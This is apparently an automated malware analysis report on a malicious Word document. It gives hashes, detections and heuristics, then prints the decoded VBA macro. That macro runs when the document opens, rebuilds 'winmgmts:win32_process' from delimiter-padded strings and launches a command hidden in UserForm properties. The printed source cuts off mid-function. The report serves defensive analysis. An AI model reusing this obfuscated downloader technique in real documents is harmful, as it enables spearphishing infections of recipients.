Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d831fb7e6ca7099b…

MALICIOUS

Office (OLE)

171.0 KB Created: 2020-07-28 10:26:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 9aacd8e4c67c30ecfb371e555a862b82 SHA-1: b8c88175099111b28fd8a702c97c5cb336049dba SHA-256: d831fb7e6ca7099b615f50a60fca9d58ca6307bb95d592dfdd1c793b267f7f86
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is automatically executed via the Document_Open subroutine. This macro utilizes CreateObject and appears to be a command stager, likely intended to download and execute a second-stage payload. The ClamAV detection name 'Doc.Downloader.Logan-9640387-0' further supports this behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Logan-9640387-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Logan-9640387-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4508 bytes
SHA-256: 6ed5408cb4d2e2f5e9ec52bd4fe79528ab21506a6eed19757f3cac83c99a558c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "quiatciygaes"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
noozhoutdeup.doaqutaivsaut
End Sub


Attribute VB_Name = "noozhoutdeup"
Attribute VB_Base = "0{4EAB76E3-F3FA-467E-B47D-64E1C0858038}{D44A63A3-578C-4723-8B0C-6896DD1BEDB9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function doaqutaivsaut()
setper = Chr(noozhoutdeup.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
poortoaxleuch = "saixxiavyeaj"
Loop
muthmis = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + setper + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + noozhoutdeup.fuafquaixdid + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
joalxaujhicnaij = "kaidjaekmeab"
Loop
jeerweuth = zauquthuaqu(muthmis)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
yoquneuzdaihxij = "miebchaedyouh"
Loop
Set choewpaukroopquiay = CreateObject(jeerweuth)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
yimsoaf = noozhoutdeup.louchguuchceigxoot.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
deedseulthoem = "joebvoupquuub"
Loop
meiscauyker = NN + (jeerweuth + setper) + noozhoutdeup.mietviofcaiqu.ControlTipText + yimsoaf
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
xionpoowgioz = meiscauyker + noozhoutdeup.fuafquaixdid
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
theugtaevdukpequ = "tadwouthmeiykeuy"
Loop
Set nauthyaunkeoqu = hoijleir(xionpoowgioz)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
cauyduyneiv = "yawqueilxial"
Loop
uiii = Array("BNSBSBBSSS", choewpaukroopquiay. _
Create(vovvaoj, chepluuyxujcaej, nauthyaunkeoqu), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function hoijleir(zauylouxjoid)
Set hoijleir = CreateObject(zauylouxjoid)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
kuupdoikmoath = "mepxoegyaiz"
Loop
hoijleir.showwindow = (quouvqueuwteuk + quaemlaobraol) + (riovquoojxeul + ceupraof)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function zauquthuaqu(deuthxaegteuqutaod)
yoevthermouququil = deuthxaegteuqutaod
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
jiamhekmoew = "sualpogpaes"
Loop
voigpeechquiech = Split _
(yoevthermouququil, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
reidxoewchotquoz = "boobquoomriy"
Loop
noojboitdeuw = kooooo + Join(voigpeechquiech, buuuu)
Dim FE8ÀZPIY As Long
FE8ÀZPIY = InStr("WnuNksorVHT", "sorVHT")
zauquthuaqu = noojboitdeuw
Dim GaWZEpC As Integer
GaWZEpC = 4
Do While GaWZEpC < 4 + 4
GaWZEpC = GaWZEpC + 5: DoEvents
daiquthewnain = "juuvseerreuf"
Loop
End Funct
... (truncated)

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